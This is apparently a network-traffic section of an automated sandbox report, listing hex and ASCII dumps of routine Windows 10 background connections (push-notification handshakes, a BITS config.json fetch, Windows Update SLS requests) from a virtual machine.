2024-08-05 06:19:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-08-05 06:19:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 38 42 6d 51 69 6e 45 6b 4a 30 65 51 42 62 39 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 37 36 65 37 36 66 66 39 35 39 31 36 31 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 74 35 68 76 59 53 71 66 71 59 4a 4c 4a 6a 55 49 45 49 30 51 34 6e 64 44 7a 72 36 52 52 70 31 6e 35 4e 4f 50 39 69 46 62 79 75 42 48 42 39 44 61 53 4b 57 63 64 30 4e 6f 51 36 47 61 69 4a 6c 75 57 39 6b 4d 66 6a 57 70 65 30 52 6b 61 71 69 52 5a 42 4d 49 75 30 64 6e 51 4e 52 54 6f 42 6e 34 78 73 36 42 50 6f 35 37 42 66 37 32 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 8BmQinEkJ0eQBb96.2Context: 4176e76ff9591618<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASt5hvYSqfqYJLJjUIEI0Q4ndDzr6RRp1n5NOP9iFbyuBHB9DaSKWcd0NoQ6GaiJluW9kMfjWpe0RkaqiRZBMIu0dnQNRToBn4xs6BPo57Bf72
2024-08-05 06:19:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 38 42 6d 51 69 6e 45 6b 4a 30 65 51 42 62 39 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 37 36 65 37 36 66 66 39 35 39 31 36 31 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 8BmQinEkJ0eQBb96.3Context: 4176e76ff9591618<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-08-05 06:19:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-08-05 06:19:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 32 42 46 55 33 6b 52 49 36 45 65 79 68 2f 4e 49 50 48 36 33 61 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 2BFU3kRI6Eeyh/NIPH63aA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49721	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 06:19:20 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 64 63 71 2b 41 70 34 4a 77 55 2b 5a 48 4a 4e 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 35 36 64 33 61 33 63 62 34 34 62 37 34 34 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: dcq+Ap4JwU+ZHJNb.1Context: 856d3a3cb44b7444
2024-08-05 06:19:20 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-08-05 06:19:20 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 64 63 71 2b 41 70 34 4a 77 55 2b 5a 48 4a 4e 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 35 36 64 33 61 33 63 62 34 34 62 37 34 34 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 74 35 68 76 59 53 71 66 71 59 4a 4c 4a 6a 55 49 45 49 30 51 34 6e 64 44 7a 72 36 52 52 70 31 6e 35 4e 4f 50 39 69 46 62 79 75 42 48 42 39 44 61 53 4b 57 63 64 30 4e 6f 51 36 47 61 69 4a 6c 75 57 39 6b 4d 66 6a 57 70 65 30 52 6b 61 71 69 52 5a 42 4d 49 75 30 64 6e 51 4e 52 54 6f 42 6e 34 78 73 36 42 50 6f 35 37 42 66 37 32 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: dcq+Ap4JwU+ZHJNb.2Context: 856d3a3cb44b7444<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASt5hvYSqfqYJLJjUIEI0Q4ndDzr6RRp1n5NOP9iFbyuBHB9DaSKWcd0NoQ6GaiJluW9kMfjWpe0RkaqiRZBMIu0dnQNRToBn4xs6BPo57Bf72
2024-08-05 06:19:20 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 64 63 71 2b 41 70 34 4a 77 55 2b 5a 48 4a 4e 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 35 36 64 33 61 33 63 62 34 34 62 37 34 34 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: dcq+Ap4JwU+ZHJNb.3Context: 856d3a3cb44b7444<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-08-05 06:19:20 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-08-05 06:19:20 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 4d 7a 44 35 46 38 43 56 30 4b 67 66 69 69 6b 2f 79 53 58 7a 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: iMzD5F8CV0Kgfiik/ySXzA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49722	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 06:19:21 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-05 06:19:21 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF17) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=202837 Date: Mon, 05 Aug 2024 06:19:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49723	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 06:19:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-05 06:19:22 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=210378 Date: Mon, 05 Aug 2024 06:19:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-08-05 06:19:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49724	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 06:19:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=w9MYfvZhdmZbyak&MD=mGeKN9ZR HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-08-05 06:19:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2a695376-f8fb-415d-b72d-46bc2811315b MS-RequestId: 6c888b56-173b-4ee7-9157-3f4bc4cbc180 MS-CV: cElO1vEe1EiaVv1V.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 05 Aug 2024 06:19:24 GMT Connection: close Content-Length: 24490
2024-08-05 06:19:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-08-05 06:19:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49729	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 06:19:33 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4c 51 52 72 2f 71 71 66 37 45 4b 50 74 4b 2b 49 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 34 31 38 32 34 39 36 31 36 63 38 32 63 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: LQRr/qqf7EKPtK+I.1Context: f2418249616c82c8
2024-08-05 06:19:33 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-08-05 06:19:33 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4c 51 52 72 2f 71 71 66 37 45 4b 50 74 4b 2b 49 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 34 31 38 32 34 39 36 31 36 63 38 32 63 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 74 35 68 76 59 53 71 66 71 59 4a 4c 4a 6a 55 49 45 49 30 51 34 6e 64 44 7a 72 36 52 52 70 31 6e 35 4e 4f 50 39 69 46 62 79 75 42 48 42 39 44 61 53 4b 57 63 64 30 4e 6f 51 36 47 61 69 4a 6c 75 57 39 6b 4d 66 6a 57 70 65 30 52 6b 61 71 69 52 5a 42 4d 49 75 30 64 6e 51 4e 52 54 6f 42 6e 34 78 73 36 42 50 6f 35 37 42 66 37 32 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: LQRr/qqf7EKPtK+I.2Context: f2418249616c82c8<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASt5hvYSqfqYJLJjUIEI0Q4ndDzr6RRp1n5NOP9iFbyuBHB9DaSKWcd0NoQ6GaiJluW9kMfjWpe0RkaqiRZBMIu0dnQNRToBn4xs6BPo57Bf72
2024-08-05 06:19:33 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4c 51 52 72 2f 71 71 66 37 45 4b 50 74 4b 2b 49 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 34 31 38 32 34 39 36 31 36 63 38 32 63 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: LQRr/qqf7EKPtK+I.3Context: f2418249616c82c8<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-08-05 06:19:33 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-08-05 06:19:33 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 45 49 6f 74 65 73 70 59 37 6b 61 71 4a 78 53 2f 57 33 42 45 4d 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: EIotespY7kaqJxS/W3BEMg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	53170	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 06:19:53 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 53 79 4c 54 50 73 41 46 63 45 4b 65 51 72 41 77 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 30 38 66 39 65 66 36 61 34 36 36 32 63 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: SyLTPsAFcEKeQrAw.1Context: 608f9ef6a4662ce
2024-08-05 06:19:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-08-05 06:19:53 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 53 79 4c 54 50 73 41 46 63 45 4b 65 51 72 41 77 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 30 38 66 39 65 66 36 61 34 36 36 32 63 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 74 35 68 76 59 53 71 66 71 59 4a 4c 4a 6a 55 49 45 49 30 51 34 6e 64 44 7a 72 36 52 52 70 31 6e 35 4e 4f 50 39 69 46 62 79 75 42 48 42 39 44 61 53 4b 57 63 64 30 4e 6f 51 36 47 61 69 4a 6c 75 57 39 6b 4d 66 6a 57 70 65 30 52 6b 61 71 69 52 5a 42 4d 49 75 30 64 6e 51 4e 52 54 6f 42 6e 34 78 73 36 42 50 6f 35 37 42 66 37 32 36 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: SyLTPsAFcEKeQrAw.2Context: 608f9ef6a4662ce<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASt5hvYSqfqYJLJjUIEI0Q4ndDzr6RRp1n5NOP9iFbyuBHB9DaSKWcd0NoQ6GaiJluW9kMfjWpe0RkaqiRZBMIu0dnQNRToBn4xs6BPo57Bf726
2024-08-05 06:19:53 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 53 79 4c 54 50 73 41 46 63 45 4b 65 51 72 41 77 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 30 38 66 39 65 66 36 61 34 36 36 32 63 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: SyLTPsAFcEKeQrAw.3Context: 608f9ef6a4662ce<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-08-05 06:19:53 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-08-05 06:19:53 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 45 62 50 2f 5a 4e 43 56 45 2b 67 55 50 36 32 59 44 76 30 73 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: bEbP/ZNCVE+gUP62YDv0sg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	53171	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 06:20:02 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=w9MYfvZhdmZbyak&MD=mGeKN9ZR HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
